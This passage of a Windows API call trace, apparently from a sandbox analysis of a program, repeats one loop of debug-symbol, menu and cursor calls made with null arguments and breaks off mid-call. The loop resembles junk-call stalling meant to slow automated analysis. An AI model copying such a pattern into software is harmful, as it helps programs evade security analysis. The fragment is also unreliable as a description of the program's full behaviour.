SymCleanup (hProcess=0x0) returned 0 [0140.859] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.859] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.859] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.859] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.859] GetLastError () returned 0x579 [0140.859] SetLastError (dwErrCode=0x579) [0140.859] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.860] SymCleanup (hProcess=0x0) returned 0 [0140.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.860] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.860] GetLastError () returned 0x579 [0140.860] SetLastError (dwErrCode=0x579) [0140.860] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.860] SymCleanup (hProcess=0x0) returned 0 [0140.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.860] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.860] GetLastError () returned 0x579 [0140.860] SetLastError (dwErrCode=0x579) [0140.860] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.860] SymCleanup (hProcess=0x0) returned 0 [0140.860] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.860] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.860] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.860] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=599, param_4=472, param_5=0x0, param_6=0x0) returned 0 [0140.861] GetLastError () returned 0x579 [0140.861] SetLastError (dwErrCode=0x579) [0140.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.861] SymCleanup (hProcess=0x0) returned 0 [0140.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.861] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.861] GetLastError () returned 0x579 [0140.861] SetLastError (dwErrCode=0x579) [0140.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.861] SymCleanup (hProcess=0x0) returned 0 [0140.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.861] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.861] GetLastError () returned 0x579 [0140.861] SetLastError (dwErrCode=0x579) [0140.861] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.861] SymCleanup (hProcess=0x0) returned 0 [0140.861] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.861] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.861] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.862] GetLastError () returned 0x579 [0140.862] SetLastError (dwErrCode=0x579) [0140.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.862] SymCleanup (hProcess=0x0) returned 0 [0140.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.862] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.862] GetLastError () returned 0x579 [0140.862] SetLastError (dwErrCode=0x579) [0140.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.862] SymCleanup (hProcess=0x0) returned 0 [0140.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.862] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.862] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=397, param_4=124, param_5=0x0, param_6=0x0) returned 0 [0140.862] GetLastError () returned 0x579 [0140.862] SetLastError (dwErrCode=0x579) [0140.862] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.862] SymCleanup (hProcess=0x0) returned 0 [0140.862] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.862] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.863] GetLastError () returned 0x579 [0140.863] SetLastError (dwErrCode=0x579) [0140.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.863] SymCleanup (hProcess=0x0) returned 0 [0140.863] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.863] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.863] GetLastError () returned 0x579 [0140.863] SetLastError (dwErrCode=0x579) [0140.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.863] SymCleanup (hProcess=0x0) returned 0 [0140.863] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.863] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.863] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.863] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.863] GetLastError () returned 0x579 [0140.863] SetLastError (dwErrCode=0x579) [0140.863] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.863] SymCleanup (hProcess=0x0) returned 0 [0140.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.864] GetLastError () returned 0x579 [0140.864] SetLastError (dwErrCode=0x579) [0140.864] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.864] SymCleanup (hProcess=0x0) returned 0 [0140.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=333, param_4=350, param_5=0x0, param_6=0x0) returned 0 [0140.864] GetLastError () returned 0x579 [0140.864] SetLastError (dwErrCode=0x579) [0140.864] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.864] SymCleanup (hProcess=0x0) returned 0 [0140.864] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.864] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.864] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.864] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.864] GetLastError () returned 0x579 [0140.864] SetLastError (dwErrCode=0x579) [0140.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.865] SymCleanup (hProcess=0x0) returned 0 [0140.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.865] GetLastError () returned 0x579 [0140.865] SetLastError (dwErrCode=0x579) [0140.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.865] SymCleanup (hProcess=0x0) returned 0 [0140.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.865] GetLastError () returned 0x579 [0140.865] SetLastError (dwErrCode=0x579) [0140.865] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.865] SymCleanup (hProcess=0x0) returned 0 [0140.865] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.865] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.865] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.865] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.865] GetLastError () returned 0x579 [0140.866] SetLastError (dwErrCode=0x579) [0140.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.866] SymCleanup (hProcess=0x0) returned 0 [0140.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=42, param_4=9, param_5=0x0, param_6=0x0) returned 0 [0140.866] GetLastError () returned 0x579 [0140.866] SetLastError (dwErrCode=0x579) [0140.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.866] SymCleanup (hProcess=0x0) returned 0 [0140.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.866] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.866] GetLastError () returned 0x579 [0140.866] SetLastError (dwErrCode=0x579) [0140.866] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.866] SymCleanup (hProcess=0x0) returned 0 [0140.866] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.866] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.866] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.867] GetLastError () returned 0x579 [0140.867] SetLastError (dwErrCode=0x579) [0140.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.867] SymCleanup (hProcess=0x0) returned 0 [0140.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.867] GetLastError () returned 0x579 [0140.867] SetLastError (dwErrCode=0x579) [0140.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.867] SymCleanup (hProcess=0x0) returned 0 [0140.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.867] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.867] GetLastError () returned 0x579 [0140.867] SetLastError (dwErrCode=0x579) [0140.867] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.867] SymCleanup (hProcess=0x0) returned 0 [0140.867] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.867] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.867] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.868] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=121, param_4=59, param_5=0x0, param_6=0x0) returned 0 [0140.868] GetLastError () returned 0x579 [0140.868] SetLastError (dwErrCode=0x579) [0140.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.868] SymCleanup (hProcess=0x0) returned 0 [0140.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.868] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.868] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.868] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.868] GetLastError () returned 0x579 [0140.868] SetLastError (dwErrCode=0x579) [0140.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.868] SymCleanup (hProcess=0x0) returned 0 [0140.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.868] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.868] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.868] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.868] GetLastError () returned 0x579 [0140.868] SetLastError (dwErrCode=0x579) [0140.868] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.868] SymCleanup (hProcess=0x0) returned 0 [0140.868] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.869] GetLastError () returned 0x579 [0140.869] SetLastError (dwErrCode=0x579) [0140.869] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.869] SymCleanup (hProcess=0x0) returned 0 [0140.869] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.869] GetLastError () returned 0x579 [0140.869] SetLastError (dwErrCode=0x579) [0140.869] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.869] SymCleanup (hProcess=0x0) returned 0 [0140.869] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.869] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.869] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.869] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=639, param_4=823, param_5=0x0, param_6=0x0) returned 0 [0140.869] GetLastError () returned 0x579 [0140.869] SetLastError (dwErrCode=0x579) [0140.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.870] SymCleanup (hProcess=0x0) returned 0 [0140.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.870] GetLastError () returned 0x579 [0140.870] SetLastError (dwErrCode=0x579) [0140.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.870] SymCleanup (hProcess=0x0) returned 0 [0140.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.870] GetLastError () returned 0x579 [0140.870] SetLastError (dwErrCode=0x579) [0140.870] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.870] SymCleanup (hProcess=0x0) returned 0 [0140.870] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.870] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.870] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.870] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.871] GetLastError () returned 0x579 [0140.871] SetLastError (dwErrCode=0x579) [0140.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.871] SymCleanup (hProcess=0x0) returned 0 [0140.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.871] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.871] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.871] GetLastError () returned 0x579 [0140.871] SetLastError (dwErrCode=0x579) [0140.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.871] SymCleanup (hProcess=0x0) returned 0 [0140.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.871] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.871] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1408, param_4=170, param_5=0x0, param_6=0x0) returned 0 [0140.871] GetLastError () returned 0x579 [0140.871] SetLastError (dwErrCode=0x579) [0140.871] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.871] SymCleanup (hProcess=0x0) returned 0 [0140.871] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.871] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.871] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.872] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.872] GetLastError () returned 0x579 [0140.872] SetLastError (dwErrCode=0x579) [0140.872] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.872] SymCleanup (hProcess=0x0) returned 0 [0140.872] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.872] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.872] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.872] TrackPopupMenuEx (param_1=0x0, 